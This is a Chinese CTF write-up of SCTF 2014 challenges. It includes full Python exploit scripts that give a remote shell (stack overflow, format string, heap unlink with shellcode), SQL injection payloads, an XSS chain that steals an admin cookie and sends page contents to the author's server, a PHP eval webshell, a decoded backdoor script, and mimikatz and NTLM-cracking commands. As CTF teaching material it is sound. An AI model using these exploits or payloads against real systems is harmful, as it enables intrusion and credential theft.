SCTF-2014-L-Writeup

Misc10
苦逼的程序员啊
手持两把锟斤拷,口中疾呼烫烫烫
下联是什么呢?
Flag: 脚踏千朵屯屯屯,笑看万物锘锘锘

RE 50
image001.jpg
如图,将输入的字符串每位加3后作比较

s=“6duFg3rJ”[::-1]
for i in s:
print chr(ord(i)-3),

脑补一个’k’
Flag=SCTF{Go0dCra3k}

PT100
image002.jpg
gintama.sycsec.com
看来是要进入后台拿flag。
image003.jpg
后台可以很快猜出来,但是有个基础认证。
Cy大屌说他好像在哪里看到过iis+php可以绕过基础认证。
So我百度了一下,找到了相关的文章。成功绕过验证。
Referer:http://wenku.baidu.com/link?url=gAakBjEaMadJOfXM45VWi3m4hlu2g7dupSnps7f2pOj8Xkh9rknQpA2osgvOwwbYPhNZk1Ui3WkEIbuvHHkmsMpnuQjf-R7JSqIdE2r021G

访问
http://gintama.sycsec.com/admin::$INDEX_ALLOCATION/index.php
image004.jpg

接下来是一个不同寻常的注入点,利用的是false注入,在exploitdb上有相关的文章(PS:貌似是完全一样的代码哦,学习了。)
Referer:
http://www.exploit-db.com/papers/18263/
简单描述
表结构
/* create database injection_db;
use injection_db;
create table users(num int not null, id varchar(30) not null, password varchar(30) not null, primary key(num));

insert into users values(1, 'admin', 'ad1234');
insert into users values(2, 'wh1ant', 'wh1234');
insert into users values(3, 'secuholic', 'se1234');

*** login.php *** */

mysql> select * from users;
+-----+-----------+----------+
| num | id | password |
+-----+-----------+----------+
| 1 | admin | ad1234 |
| 2 | wh1ant | wh1234 |
| 3 | secuholic | se1234 |
+-----+-----------+----------+
3 rows in set (0.01 sec)

mysql> select * from users where id='';
Empty set (0.00 sec)

mysql> select * from users where id=0;
+-----+-----------+----------+
| num | id | password |
+-----+-----------+----------+
| 1 | admin | ad1234 |
| 2 | wh1ant | wh1234 |
| 3 | secuholic | se1234 |
+-----+-----------+----------+
3 rows in set (0.00 sec)

Id=0时可以列出所有的记录。
而注入点的语句是:
Select * from users where id=’+input+’ and password=’+input+’;
构造输入id=’-0%23&password=123456
因为mysql的强制转换特性,该语句被这样理解了。
Select * from where id=’’-0# and password=’123456’;
à Select * from users where id=(0-0)#
àselect * from users where id=0
成功拿到flag。
Flag: SCTF{Bypass_Auth_aNd_Easy_SQLi}

MISC 200
题目:
image005.jpg
下载得到一个压缩包,里面有张图片,丢hex工具查看。
image006.jpg
image007.jpg
发现存在zip压缩包,于是用foremost分离得到以下文件
image008.jpg
第一天时zip存在解压密码,3.jpg用stegdetect发现jphide隐写,尝试无果,直接到第二天出现新提示。
tips:密钥即为文件名
于是尝试用mp3stego,sctf解压4.zip发现不成功,猜想其他解法。查阅资料发现zip伪加密。
image009.jpg
image010.jpg
存在区别,于是尝试把01->00,再尝试打开,没有提示输入密码成功解压得到mp3stego。
用mp3stego工具对文件进行解密。
image011.jpg
此处密码为sctf(最初jpg的文件名)。
image012.jpg
玩过MC的一看端口便知道这是minecraft开放的端口,下面应该就是flag的坐标。
附图:
image013.jpg

PT200
kali.sycsec.com
我们不是来要0DAY的,其实已经有公开的方法来bypass.
tips:XSS+MySQL error-based PS:建议参赛人员使用最新版chrome测试
有tip就是好,不用绕弯路了。
毕竟我们队友CTF专业空气队员@P总,直接给了我一个xss的payload。
首页查看源代码可以看到一个输出的测试页面。
然后~
image014.jpg
Payload:#link rel=import href=http://xxx/test.php# (##换为<>)
image015.jpg
Test.php的代码是

<?php
header("Access-Control-Allow-Origin:*");
?>

马上开始打管理员的cookie。
http://kali.sycsec.com/post.php,这是一个留言板。
直接输入payload
找了个xss平台,修改代码,提交,多输入几次打到了cookie。
image016.jpg
不知道是成信院哪位大牛的电脑呢~
拿到了后台地址,挂上cookie,登陆。
发现居然403了。
image017.jpg
猜测是IP限制,又试了一下ip伪造。
结果。。
image018.jpg
好吧。。
想到写(zhao)了个js获取管理员页面的内容。
Js内容如下:

//构建xhrrequest包
function createXHR () {
var request = false;
if (window.XMLHttpRequest) {
    request = new XMLHttpRequest();
    if (request.overrideMimeType) {
        request.overrideMimeType('text/xml');
    }
} else if (window.ActiveXObject) {
    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
    for (var i = 0; i < versions.length; i++) {
        try {
            request = new ActiveXObject(versions);
        } catch (e) {}
    }
}
return request;
}
//get方式
function get (xhr, url) {
    xhr.open("GET", url, false);
    xhr.send();
 
    return xhr.responseText;
}
 
var xhr = createXHR();
var x = get(xhr,'http://kali.sycsec.com/ebcb6eb2004d1f4086ef87cdf5d678c3/');
get(xhr,"http://test/login.php?key="+escape(x));
 

其中login.php是用于把传回的代码写入我本地的一个文件中。
返回结果如下:
image019.jpg
根据题目的tip,这应该是一个报错注入。
使用了网络上的几个老的报错注入的payload,结果都没成功。(主办方自己写了一个过滤脚本)

一些新型的报错注入payload又出现各种问题(我本机测试可以用的,服务器就不能用;服务器可以用的,我本机不能测试成功,因为主办方服务器mysql版本为5.1,我本机为5.6)
最终使用payload如下:
http://kali.sycsec.com/ebcb6eb2004d1f4086ef87cdf5d678c3/flag.php?id=1 and (select 1 from (select count(*),concat((select thisisflag from flag limit 0,1),left(rand(),3))x from information_schema.tables group by x) as yinfu)
过程不表,flag在当前库的flag表下thisisflag字段下。
修改js,给管理员发留言。
得到返回:
image020.jpg
FLAG:SCTF{x55_And_SqLinject}
PS:
报错注入payload大全:http://blackfan.ru/mysql_game_v2/

Pwn200
程序需要两次输入,第一次的输入有一字节的溢出,可以修改第二次输入的长度。
image021.jpg
程序后面有个strlen判断输入长度,用/x00截断即可绕过。经过以一次一字节溢出修改nbytes变量大小,修改后第二次输入出现栈溢出。
image022.jpg

Exp如下:

#coding:utf-8
__author__ = 'Dazdingo'
 
from socket import *
import struct
import time
import threading
import sys
 
is_recv = True
 
sock_host = '192.168.206.130'
sock_port = 8080
 
S = socket(AF_INET, SOCK_STREAM)
 
def send(ss, tail = ''):
  global S
  if tail:
    ss += tail
  print ss
  S.send(ss)
 
def outputrecv():
  global S
  while 1:
    if is_recv:
      i =  S.recv(1024)
      if i:
        sys.stdout.write(i)
 
def start_recv():
  #start recv
  t = threading.Thread(target = outputrecv,  args = ())
  t.daemon = True
  t.start()
 
def get_shell():
  #start recv
  start_recv()
 
  global S
  while 1:
    time.sleep(0.1)
    ss = raw_input() + '\n'
    S.send(ss)
 
 
def main():
  global S
 
  if len(sys.argv) == 3:
    sock_host = sys.argv[1]
    sock_port = int(sys.argv[2])
 
  S.connect((sock_host, sock_port))
 
  a = raw_input('pause')
  print S.recv(1024)
 
  send('syclover\x001111111\xf0')
 
  print S.recv(1024)
 
  ebp = '\x20\x99\x04\x08'
  libc = '\x5c\x98\x04\x08' #__libc_start_main
  retaddr1 = '\xa0\x83\x04\x08' # write
  retaddr2 = '\xbe\x85\x04\x08' #pop;pop;pop;ret
  pop_ebp_ret = '\xc0\x85\x04\x08'
  retaddr3 = '\x60\x83\x04\x08' # read
  retaddr4 = '\xd2\x85\x04\x08' #leave ret
 
  send('A'*0x9c + ebp + retaddr1 + retaddr2 + '\x01\x00\x00\x00' + libc + '\x04\x00\x00\x00' +pop_ebp_ret + ebp + retaddr3 + retaddr4 + '\x00\x00\x00\x00' + '\x24\x99\x04\x08' + '\xf0\x00\x00\x00' )
 
  time.sleep(1)
  l = S.recv(1024)
 
  libcaddr = struct.unpack('I', l)[0]
  print '__libc_start_main:',hex(libcaddr)
  system = libcaddr + 0x26050
 
  send(struct.pack('I', system) + 'AAAA'+'\x30\x99\x04\x08' + '/bin/sh\x00')
 
  get_shell()
 
 
if __name__ == '__main__':
  main()

CODE200

题目的意思是:知道一个数,分解为若干(-2)^i的和,i是位数,求i的组合。

eg1:
202
8 7 6 4 3 2 1
202=(-2)^8+(-2)^7+(-2)^6+(-2)^4+(-2)^3+(-2)^2+(-2)^1
=256-128+64+16-8+4-2
eg2:
515
10 9 2 1 0
515=(-2)^10+(-2)^9+(-2)^2+(-2)^1+(-2)^0
解法与10进制转2进制类似,不过要注意每位的正负不同
代码:

from socket import *
 
HOST='218.2.197.248'
PORT=10007
 
s = socket(AF_INET, SOCK_STREAM)
s.connect((HOST,PORT))
while True:
         input=int(s.recv(1024),10)
         print input
 
         step=0
         ans=''
         list=[]
         while input:
                   if step%2==0:
                            flag=-1
                   else:
                            flag=1
                   if input%2==1:
                            input=input+flag
                            list.append(str(step))
                   #else:
                   input=input/2
                   step=step+1
         list.reverse()
         for i in list:
                  ans=ans+' '+ i
 
         print ans
         s.send(ans)
 
s.close()

Misc300
内网攻击数据包分析
FLAG格式: SCTF{syclover用户的明文}
LINK:http://download.sycsec.com/misc/b48d97c14a09217ee8cc1d586ca14e2f.pcap
下载后发现这个包很小,主要关注到smb协议的数据包。
按照题目的意思,需要获取到syclover的明文密码,这应该就是一个内网的smb劫持攻击了,查看了smb包里面的challenge值确实也是1122334455667788
image023.jpg
抓到hash是:
LMHASH:9e94258a03356914b15929fa1d2e290fab9c8f9f01999448
NTHASH:013f3cb06ba848f98a6ae6cb4a76477c5ba4e45cda73b475
去下载了个16G的彩虹表。
开始halflmchall hash攻击。
使用工具rcracki_mt先猜解前几位(不区分大小写)很快破解出结果
image024.jpg
前七位:NETLMIS
接下来继续使用破解出来的字符串做种子破解整个密码,使用到john-ntlm.pl,
现将hash保存成如下格式:
syclover::ROOT-53DD5427BC:013f3cb06ba848f98a6ae6cb4a76477c5ba4e45cda73b475:9e94258a03356914b15929fa1d2e290fab9c8f9f01999448:1122334455667788
执行:
./john-netntlm.pl --seed "NETLMIS" --file /tmp/1.txt
得到最终的用户密码为:
NetLMis666
那么FLAG:
SCTF{NetLMis666}
本解题方法大量参考看雪某文章,原帖贴出:
http://bbs.pediy.com/showthread.php?p=1203990

pwn300
在print message里有个格式化字符串漏洞,同时有个把字符串copy到栈里有利于利用。
image025.jpg
Exp如下

#coding:utf-8
__author__ = 'Dazdingo'
 
from socket import *
import struct
import time
import threading
import sys
 
is_recv = True
 
sock_host = '192.168.206.130'
sock_port = 8080
 
S = socket(AF_INET, SOCK_STREAM)
 
def send(ss, tail = '', r = False):
  global S
  if tail:
    ss += tail
  print ss
  S.send(ss)
  if r:
    print S.recv(1024)
 
def recv_until(str):
  data = S.recv(1024)
  e = data.find(str)
  while 1:
    if e == -1:
      data = S.recv(1025)
      e = data.find(str)
    else:
      break
 
  return data, e
 
def outputrecv():
  global S
  while 1:
    if is_recv:
      i =  S.recv(1024)
      if i:
        sys.stdout.write(i)
 
def start_recv():
  #start recv
  t = threading.Thread(target = outputrecv,  args = ())
  t.daemon = True
  t.start()
 
def get_shell():
  #start recv
  start_recv()
 
  global S
  while 1:
    time.sleep(0.1)
    ss = raw_input() + '\n'
    S.send(ss)
 
 
def main():
  global S
 
  if len(sys.argv) == 3:
    sock_host = sys.argv[1]
    sock_port = int(sys.argv[2])
 
  S.connect((sock_host, sock_port))
 
  a = raw_input('pause')
  print S.recv(1024)
 
  send('2\n', r = 1)
  send('%279$x\n', r = 1)
  send('3\n')
 
  data, e = recv_until('message is:')
  print data, e
  leak_memory = int(data[e+11:e+19], 16)
 
  send('2\n', r = 1)
  send('%266$x\n', r = 1)
  send('3\n')
 
  data, e = recv_until('message is:')
  print data, e
  ebp = int(data[e+11:e+19], 16)
 
  call_system = leak_memory + 0x25E24
 
  s = hex(call_system)
  print 'call_system, ebp is', s, hex(ebp)
 
  ret_add1  = struct.pack('I', ebp-0x2c)
  ret_add2  = struct.pack('I', ebp-0x2a)
  arg0 = struct.pack('I', ebp-0x24)
  arg1 = struct.pack('I', ebp-0x20)
 
  num_send1 = int(s[6:10], 16)
  num_send2 = int(s[2:6], 16) - num_send1
 
  send('2\n', r = 1)
  send('%16$n%17$n%'+ str(num_send1) + 'x%18$n%' + str(num_send2) + 'x%19$n' + '\x20'*(12-len(str(num_send1))-len(str(num_send2))) + arg0 + arg1 +ret_add1 +ret_add2 + '\n', r = 1)
  send('3\n', r = 1)
 
  get_shell()
 
 
if __name__ == '__main__':
  main()

PT400
在blog的左下角发现网站http://idc.sycsec.com/
image026.jpg
http://idc.sycsec.com/index.php?page=2
存在注入,联合查询,字段数为1,可以注入
获得管理员的密码
+----+---------+------------------+----------------------------------+
| id | IsAdmin | UserName | UserPass |
+----+---------+------------------+----------------------------------+
| 1 | 1 | administratoroot | 89479a64d0965246c032d813efd7d360 |
| 2 | 0 | iamguest | 084e0343a0486ff05530df6c705c8bb4 |
+----+---------+------------------+----------------------------------+
在网站首页的左下角发现一个bug report页面
image027.jpg

通过sql注入来构造一个xss页面
http://idc.sycsec.com/?page=-1%0Aunion%0Aselect%0A0x3C736372697074207372633D22687474703A2F2F6573752E696D2F702E6A73223E3C2F7363726970743E--+
提交给管理员后打到后台地址
image028.jpg
http://idc.sycsec.com/c80e93890227fbda63cfc29486ce041e/
用之前注入出的用户名登陆
image029.jpg
上传,经过fuzz测试,无法上传带有“<?”的上传文件
于是上传如下脚本,通过

<script language="php">eval($_POST[a]);</script>

之后在服务器上没有太多发现,只有一份wordpress的源码。
下载下来之后和官方进行比对,发现在
http://blog.sycsec.com/fc0ea94c722b1fd7f9257f3087ac45d1/wp-includes/revision.php
文件中被加入了后门
image030.jpg
计算出wp-sesion为下列值中的任意一个,就可以通过assert来执行任意代码。
P1B7R0D
Q0C6S1E
R3@5P2F
S2A4Q3G
T5F3V4@
U4G2W5A
V7D1T6B
W6E0U7C
通过hatchet来连接后门,在数据库中获得flag
image031.jpg

Misc400a
这是捕获的黑客攻击数据包,LateRain用户的密码在此次攻击中泄露了,你能找到吗?
FLAG格式:SCTF{LateRain的明文密码}
LINK: http://download.sycsec.com/misc/ca7ddad530b04af3b3486a5c75fcf18b.zip

下载了数据包,发现数据量很多。经过剔除,可以发现里面有少量http包。估计pcap包中大量的tcp数据是为了做炮灰的。
一个http数据包的内容如下:
image032.jpg
明眼人一眼看出这应该是个菜刀的数据包,config.php应该是被入侵后的一句话木马。
整个pcap中大概就几十条http的数据流,一条一条看下来。发现入侵者用winrar打包了一个文件,然后下载了该文件。
用wireshark可以直接提取出该rar文件。
而这是一个加密的rar文件,将菜刀post过去的关键数据base64解密一下,发现使用了该命令打包。
image033.jpg
C:\progra~1\WinRAR\rar a C:\Inetpub\wwwroot\backup\wwwroot.rar C:\Inetpub\wwwroot\backup\1.gif –hpJJBoom
密码就是JJBoom
解开压缩包得到一个1.gif,使用c32asm打开,
image034.jpg
根据文件头MDMP,知道这是一个内存的dump文件。
载入到神器mimikatz中
使用两条命令
mimikatz # sekurlsa::minidump 1.dmp
//载入dmp文件
mimikatz # sekurlsa::logonPasswords full
//读取登陆密码
image035.jpg
密码是
但是这不是flag。。
因为后面还有空格。。
要先log,把输出都输出到一个txt里查看。
image036.jpg
FLAG:
SCTF{ }

PS:本题是赛后才做出来的。我们队没有把这道题做出来,我们队以为又是SMB攻击。(另外最坑爹的是比赛时某位屌丝队友都用foremost拿到了rar还不说)

RE200
题目描述:
image037.jpg
下载下来是个APK文件。
解压,Dex2jar反编译,得到源码,看MainActivity.java
分析关键位置,可以看出func函数返回为真,则可toast出Flag。
于是分析func函数,先解密各个字符串,基本上都是-1,-2,-3简易加密的。
输入的字串,第一次变换是与自己所在的标号异或。第二次变换可能是syc(对应长度为6)和xctf(对应长度为9)两种之一,做了下移位。
第三次变换是对大写字母,小写字母,和除此之外其他情况做了处理,得到的字符串的前11位可以通过解方程得到,GoodCracK3R。
11位之后的数,经过处理后又和a8e5588f7e3f758比较,相等才返回1,总共15位,那肯定是8位输入,对应15或16位,于是把这8位跑了一下,测试了下结果。
和前面的GoodCracK3R结合起来,为"GoodCracK3R;{0jN|B6",然后倒推第二次变换和第一次变换,就可推出KEY
FLAG:xctf{hgJ7Q=|8a\wV;A~}}Wc}
image038.jpg

pwn400
node之间通过双向链表连接起来,show node可以回显node在内存中的地址,edite node可以过界修改一个node的content,从而覆盖next node的头部。类似于堆溢出的利用。
程序没有nx,可直接执行shellcode。
image039.jpg
Exp如下

#coding:utf-8
 
from socket import *
import struct
import time
import threading
import sys
 
is_recv = True
 
sock_host = '192.168.206.130'
sock_port = 8080
 
S = socket(AF_INET, SOCK_STREAM)
 
def send(ss, tail = '', recv = False):
  global S
  if tail:
    ss += tail
  print ss
  S.send(ss)
  if recv:
    print S.recv(1024)
 
def outputrecv():
  global S
  while 1:
    if is_recv:
      i =  S.recv(1024)
      if i:
        sys.stdout.write(i)
 
def start_recv():
  #start recv
  t = threading.Thread(target = outputrecv,  args = ())
  t.daemon = True
  t.start()
 
def get_shell():
  #start recv
  start_recv()
 
  global S
  while 1:
    time.sleep(0.1)
    ss = raw_input() + '\n'
    S.send(ss)
 
 
def main():
  global S
 
  if len(sys.argv) == 3:
    sock_host = sys.argv[1]
    sock_port = int(sys.argv[2])
 
  S.connect((sock_host, sock_port))
 
  a = raw_input('pause')
  print S.recv(1024)
 
  #first node
  send('1', recv = True)
  send('111', recv = True)
  send('111', recv = True)
  send('111', recv = True)
  print S.recv(1024)
 
  #second node
  send('1', recv = True)
  send('222', recv = True)
  send('222', recv = True)
  send('222', recv = True)
  print S.recv(1024)
 
  #third node
  send('1', recv = True)
  send('333', recv = True)
  send('333', recv = True)
  send('333', recv = True)
  time.sleep(1)
  print S.recv(1024)
 
  #record first node pointer
  send('3', recv = True)
  send('111')
  data = S.recv(1024)
  print data
  e = data.find('location:')
  while 1:
    if e == -1:
      data = S.recv(1024)
      e = data.find('location:')
    else:
      break
  print e, data[e+9:e+19]
  p_first_node = int(data[e+9:e+19], 16)
 
  #record second node pointer
  send('3', recv = True)
  send('222')
  data = S.recv(1024)
  print data
  e = data.find('location:')
  while 1:
    if e == -1:
      data = S.recv(1024)
      e = data.find('location:')
    else:
      break
  p_second_node = int(data[e+9:e+19], 16)
 
  print 'pointer of first,second node:', hex(p_first_node), hex(p_second_node)
 
  nops = '\x90'* (p_second_node - p_first_node - 108)
  jmp = '\xeb\x06\x90\x90\x90\x90\x90\x90'
  #exec /bin/sh - 43 bytes
  buf =  ""
  buf += "\xdd\xc2\xd9\x74\x24\xf4\x5b\x2b\xc9\xba\x39\x29\xde"
  buf += "\xee\xb1\x0b\x31\x53\x1a\x83\xc3\x04\x03\x53\x16\xe2"
  buf += "\xcc\x43\xd5\xb6\xb7\xc6\x8f\x2e\xea\x85\xc6\x48\x9c"
  buf += "\x66\xaa\xfe\x5c\x11\x63\x9d\x35\x8f\xf2\x82\x97\xa7"
  buf += "\x0d\x45\x17\x38\x21\x27\x7e\x56\x12\xd4\xe8\xa6\x3b"
  buf += "\x49\x61\x47\x0e\xed"
 
  shellcode = jmp+buf
 
  #edite first node
  send('4', recv = True)
  send('111', recv = True)
  send(nops + struct.pack('I', p_second_node) + '\x70\xa4\x04\x08' + struct.pack('I', p_second_node + 0xc) + shellcode) 
 
  #delete node
  send('5', recv = True)
  send(hex(p_second_node)[2:10], recv = True)
 
  get_shell()
 
 
if __name__ == '__main__':
  main()

PT500
渗透进三叶草花卉公司,寻找一个名为torrent的文件 公司网址:corp.sycsec.com
这个渗透环节出的屌死了~
http://corp.sycsec.com/news.html
查看源代码,可以看到。
image040.jpg
查社工库,查到妹纸密码是:971989823
结合在新闻页面的提示:
image041.jpg
于是访问http://report-man.sycsec.com/login.php
工号SYC083
密码971989823
成功登陆,有一个文件上传,一开始以为是绕过上传漏洞,结果最后发现文件名处存在注入。
image042.jpg
image043.jpg
没有任何限制,直接用sqlmap跑。
根据提示,
image044.jpg
重点关注数据库中名为刘明的用户。
得到其邮箱
liuming@sycsec.com
而小静的邮箱是
xiaojing@sycsec.com
于是猜测有一个员工邮箱系统。
LINK:http://mail.sycsec.com/login.php
image045.jpg
用户名 liuming@sycsec.com
密码 liuming123
登陆成功
登陆后发现大概有这样几篇邮件比较关键。

发件人:Information Tech [IT@sycsec.com]
时间: 2014-09-01
===================================
通知:
公司VPN地址:vpn.sycsec.com
默认用户名:工号 (如:SYC001)
默认登录密码:工号 + 生日 (如:工号为SYC001,生日为19900101的用户,密码为:SYC001900101)

Information Tech
Do not Reply

发件人:Information Tech [IT@sycsec.com]
时间: 2014-11-20
===================================
通知:
最近文件共享服务器受到源于内部的暴力破解攻击,现在未确定攻击者
请大家切记把密码改复杂!防止资料泄漏!

Information Tech
Do not Reply

发件人:Information Tech [IT@sycsec.com]
时间: 2014-11-25
===================================
通知:
我们的VPN系统出现了问题,现在换成了旧版本系统,可能操作不太方便
但是大家先暂时忍受一下,我们会即使处理该问题的,谢谢合作

Information Tech
Do not Reply

首先关注到vpn.sycsec.com
根据隐藏信息,有个默认登陆密码,于是用burpsuite爆破。
最终得到用户名与密码
SYC079
SYC079940927
登陆后发现这就是一个网页版本的curl。
image046.jpg
根据题意,需要得到一个名为torrent的文件,猜测应该在file.sycsec.com服务器上。
而file.sycsec.com我本机无法访问,应该就是要用vpn做跳板来攻击。
于是尝试
image047.jpg
居然也无法访问。几经尝试,ping了一下file.sycsec.com
image048.jpg
这是一个内网IP。可能vpn这台服务器上没有dns解析服务。于是尝试访问http://10.24.13.37/index.php
image049.jpg
跳转到了login.php
image050.jpg
结果又是一个登陆系统,然后我们就一直在尝试爆破密码,各种密码组合,花了几个小时都没有拿下。比赛比赛快结束的时候,cy大屌扫了一下目录,发现居然存在/.svn/这个目录。K牛马上想到了svn泄露漏洞,于是乎~
http://10.24.13.37/.svn/wc.db
image051.jpg
下载之~
image052.jpg
Svn泄露漏洞的原理是程序员写代码后没有使用svn export,而是直接把版本库中的源码复制到web目录。于是.svn这个隐藏文件夹也被复制过去了。
SVN产生的.svn目录下还包含了以.svn-base结尾的源代码文件副本(低版本SVN具体路径为text-base目录,高版本SVN为pristine目录)。
并且在最新版本中,副本文件名被hash了,文件格式为:
hash前两位/hash.svn-base
但是这都可以在wc.db文件中读取到。
image053.jpg
如图
Sys_incude/.htccess的hash是$sha1$43b6ec45bd6ea6da7e3b7c313b2cc4d3279afd07
那么其副本文件就放在
/.svn/pristine/43/43b6ec45bd6ea6da7e3b7c313b2cc4d3279afd07.svn-base

一开始读了 login.php down.php几个关键文件的源码,发现都没有漏洞。
后来发现有个syc_include/.htaccess,很可疑,读取之,代码如下。
image054.jpg
这是一个后门程序,只要是sys_include目录下任意php文件执行时,都会自动包含images/copper.png.
下载之~
image055.jpg
发现文件尾存在着加过密的php代码。
看格式应该是php神盾加密。网上可以解密。
LINK: http://blog.99tk.cn/decode#
解密后代码如下:

<?php
if (!function_exists('scandir')) {
  function scandir($cwd) {
    $files = array();
    $dh = opendir($cwd);
    while ($file = readdir($dh)) {
      $files[] = $file;
    }
    return $files ? $files : 0;
  }
}
if (isset($_GET['fil3'])) {
  $filename = $_GET['fil3'];
  if (is_file($filename) && is_readable($filename)) {@ob_end_clean();
    $fileinfo = pathinfo($filename);
    if (function_exists('mime_content_type')) {
      $type = @mime_content_type($filename);
      header("Content-Type: ".$type);
    } else {
      header('Content-type: application/x-'.$fileinfo['extension']);
    }
    header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
    header('Content-Length: '.sprintf("%u", @filesize($filename)));@readfile($filename);
    exit;
  } else {
    $errmsg = 'Can not find file';
    echo "<script>alert('$errmsg');window.location='index.php';</script>";
  }
}
elseif(isset($_GET['d1r'])) {
  $files = @scandir($_GET['d1r']);
  if ($files) {
    $files = array_diff($files, array('..', '.'));
    echo "<pre>";
    foreach($files as $file) {
      echo $file.
      "\r\n";
    }
    echo "</pre>";
  }
} else {
  header("Location: ../index.php");
}?>

可以列目录,但是应该是因为权限原因,只能列tmp目录。Tmp目录下有session文件,可以使用这些session,登陆。
如图。
image056.jpg
访问index.php的时候带上cookie。
将所有session放入burpsuite跑一遍,发现只有
PHPSESSID=ad5fe3a692726d8c8a1524cac84085c3
时登陆成功。
继续审计源码,有一个down.php

<?php
session_start();
require_once 'syc_include/func.php';

if (!isset($_SESSION['login_file']) || $_SESSION['login_file'] !== 1) {
header('Location: login.php');
exit;
}

if (isset($_GET['file'])) {
$file = $_GET['file'];
//Base
$file = str_replace('..', '', $file);
$file = str_replace('/', '', $file);
$file = str_replace('\\', '', $file);

//Win short name
$file = str_replace('~', '', $file);

//ADS
$file = str_replace(':', '', $file);

download($user_cwd.$file);
}
?>
应该是用于文件下载的。接着读syc_include/func.php源码,
 
<?php
@error_reporting(7);
define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
 
$user_cwd = $_SERVER['DOCUMENT_ROOT'].'/file/files/'.$_SESSION['number'];
foreach (array('user_cwd') as $k) {
         if (IS_WIN) {
                   $$k = str_replace('\\', '/', $$k);
         }
         if (substr($$k, -1) != '/') {
                   $$k = $$k.'/';
         }
}
 
if(!function_exists('scandir')) {
         function scandir($cwd) {
                   $files = array();
                   $dh = opendir($cwd);
                   while ($file = readdir($dh)) {
                            $files[] = $file;
                   }
                   return $files ? $files : 0;
         }
}
 
function download($filename) {
         if (is_file($filename) && is_readable($filename)) {
                   @ob_end_clean();
                   $fileinfo = pathinfo($filename);
                   if (function_exists('mime_content_type')) {
                            $type = @mime_content_type($filename);
                            header("Content-Type: " . $type);
                   } else {
                            header('Content-type: application/x-' . $fileinfo['extension']);
                   }
                   header('Content-Disposition: attachment; filename=' . $fileinfo['basename']);
                   header('Content-Length: ' . sprintf("%u", @filesize($filename)));
                   @readfile($filename);
                   exit ;
         } else {
                   $errmsg = 'Can not find file';
                   echo "<script>alert('$errmsg');window.location='index.php';</script>";
         }
}
 
function getFileList($path){
         global $user_cwd;
         $j=0;
         $files = @scandir($path);
         if ($files) {
                   $files = array_diff($files, array('..','.'));
                   foreach ($files as $file) {
                            $f=str_replace('//','/',$path.'/'.$file);
                            $filedata[$j]['filename']=str_replace($user_cwd,'',$f);
                            $filedata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
                            $j++;
                   }
                   return $filedata;
         } else {
                   return array();
         }
}
 
?>

发现只能下载/file/files/$_SESSION['number']下面的文件(硬编码了),而且file目录不存在,所以这个down.php根本没用。(不知道是主办方刻意为之还是疏忽)
但是存在着files目录,而$_SESSION['number']可以通过读tmp下面的缓存文件得知。
image057.jpg
说明$_SESSION['number']存着就是工号SYCXXX
于是继续用burpsuite暴力跑一遍files/sycxxx/torrent 所有目录下面的torrent文件。
image058.jpg
得到flag:SCTF{FuNny_Pene7ration_Test}

PS:本题是赛后做出来的,答题时并没有做出来。(我能说最后槽点太高了么?你们不知道机智赛棍会啥也不管,不审计,不分析,直接暴力跑SYCXXX么!!!)

::L TEAM::

tagged by none  

Comment Closed.

© 2014 ::L Team::